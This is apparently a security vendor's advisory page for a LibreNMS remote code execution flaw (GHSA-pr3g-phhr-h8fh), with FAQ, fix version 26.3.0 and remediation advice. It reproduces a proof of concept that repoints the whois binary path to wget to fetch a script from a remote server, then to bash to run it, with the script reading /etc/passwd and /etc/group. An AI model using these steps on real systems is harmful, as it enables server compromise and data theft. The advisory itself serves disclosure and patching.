How severe is GHSA-pr3g-phhr-h8fh?

No CVSS score has been assigned to GHSA-pr3g-phhr-h8fh yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-pr3g-phhr-h8fh?

GHSA-pr3g-phhr-h8fh affects the following packages: librenms/librenms (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-pr3g-phhr-h8fh?

Update librenms/librenms to 26.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pr3g-phhr-h8fh is resolved across your whole dependency graph.

How do I detect GHSA-pr3g-phhr-h8fh in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-pr3g-phhr-h8fh if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-pr3g-phhr-h8fh?

O3 pinpoints whether GHSA-pr3g-phhr-h8fh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-pr3g-phhr-h8fh actively exploited in the wild?

No public exploit code has been indexed for GHSA-pr3g-phhr-h8fh yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What type of vulnerability is GHSA-pr3g-phhr-h8fh?

GHSA-pr3g-phhr-h8fh is classified as OS Command Injection (CWE-78). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-pr3g-phhr-h8fh published, and has it been updated?

GHSA-pr3g-phhr-h8fh was published on March 26, 2026 and was last updated on April 14, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-pr3g-phhr-h8fh

GHSA-pr3g-phhr-h8fh is a OS Command Injection vulnerability in librenms/librenms. O3 Security confirms whether GHSA-pr3g-phhr-h8fh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write

Also known asCVE-2026-6204

Published

Mar 26, 2026

Updated

Apr 14, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

🐘librenms/librenms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls

Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.
<img width="593" height="481" alt="image" src="https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5" />
Make sure the malicious script malicious.sh can be downloaded.
<img width="516" height="100" alt="image" src="https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273" />
Login with an admin account and navigate to Global Settings -> External -> Binary Locations
<img width="797" height="201" alt="image" src="https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576" />
Change the whois binary path to the path of wget (e.g. /usr/bin/wget).
<img width="478" height="58" alt="image" src="https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6" />
Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server.
<img width="900" height="209" alt="image" src="https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0" />
After that, change the whois binary path to the path of bash (e.g. /bin/bash).
<img width="751" height="56" alt="image" src="https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8" />
Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.
<img width="846" height="688" alt="image" src="https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe" />

Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`librenms/librenms`	≥ 1.48&&< 26.3.0	26.3.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pr3g-phhr-h8fh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pr3g-phhr-h8fh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-pr3g-phhr-h8fh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads. ### Details The application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These to

O3 Security · Impact-Aware SCA

Is GHSA-pr3g-phhr-h8fh in your dependencies?

O3 detects GHSA-pr3g-phhr-h8fh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works